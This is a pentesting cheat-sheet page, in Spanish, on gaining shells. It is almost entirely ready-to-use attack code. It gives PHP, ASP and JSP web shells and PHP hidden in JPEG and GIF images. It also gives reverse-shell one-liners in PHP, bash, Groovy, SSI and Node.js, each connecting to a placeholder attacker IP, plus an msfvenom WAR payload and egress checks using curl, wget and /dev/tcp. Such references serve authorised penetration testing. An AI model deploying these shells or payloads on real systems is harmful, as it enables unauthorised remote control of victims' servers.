> For the complete documentation index, see [llms.txt](https://pentesting.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.mrw0l05zyn.cl/explotacion/shells/general.md).

# General

## Web shells

### Kali Linux <a href="#web-shells-kali-linux" id="web-shells-kali-linux"></a>

/usr/share/webshells/

### PHP <a href="#web-shells-php" id="web-shells-php"></a>

* <https://github.com/Arrexel/phpbash>

```php
<?php system($_REQUEST['cmd']); ?>
```

```php
<?php echo system($_GET["cmd"]); ?>
```

```php
<?php
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
    }
?>
```

### ASP <a href="#web-shells-asp" id="web-shells-asp"></a>

```aspnet
<% eval request("cmd") %>
```

### JSP <a href="#web-shells-jsp" id="web-shells-jsp"></a>

```java
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
```

### Imágenes

```shell
echo -n "\xff\xd8\xff\xe0<?php system('id'); ?>" > webshell.jpg
echo -n "GIF89a;<?php system('id'); ?>" > webshell.gif
exiftool -Comment="<?php system('id'); ?>" webshell.gif
```

## Reverse shells

### PHP <a href="#reverse-shells-php" id="reverse-shells-php"></a>

* <https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php>
* <https://github.com/ivan-sincek/php-reverse-shell>

```bash
# /bin/sh
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("<attacker-IP-address>",<listen-port>);popen("/bin/sh -i <&3 >&3 2>&3", "r");'

# /bin/bash
php -r "exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "shell_exec(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "system(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "passthru(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\");"
php -r "popen(\"bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'\",\"r\");"
```

### Apache Tomcat

```shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker-IP-address> LPORT=<listen-port> -f war -o revshell.war
```

### Groovy

```shell
String host="<attacker-IP-address>";
int port=<listen-port>;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

### Server-Side Includes (SSI)

```
<!--#exec cmd="mkfifo /tmp/reverse-shell;nc <attacker-IP-address> <listen-port> 0</tmp/reverse-shell|/bin/bash 1>/tmp/reverse-shell;rm /tmp/reverse-shell" -->
```

### Node.js

```bash
# /bin/sh
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/sh')" > /tmp/revshell.js; node /tmp/revshell.js
# /bin/bash
echo "require('child_process').exec('nc -nv <attacker-IP-address> <listen-port> -e /bin/bash')" > /tmp/revshell.js; node /tmp/revshell.js
```

```javascript
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(<listen-port>, "<attacker-IP-address>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /test/;
})();
```

## Revisión de ejecución de comandos

```shell
# Máquina victima
## Linux/Unix
ping -c 4 <attacker-IP-address>
## Windows
ping -n 4 <attacker-IP-address>

# Máquina atacante
sudo tcpdump -i <network-interface> icmp
```

## Revisión de puertos de salida abiertos

```shell
# Wget
wget <attacker-IP-address>:443
python3 -m http.server 443

# cURL
curl http://<attacker-IP-address>:443
python3 -m http.server 443

# Bash
bash -c 'echo testing > /dev/tcp/<attacker-IP-address>/443'
rlwrap nc -lvnp 443
```


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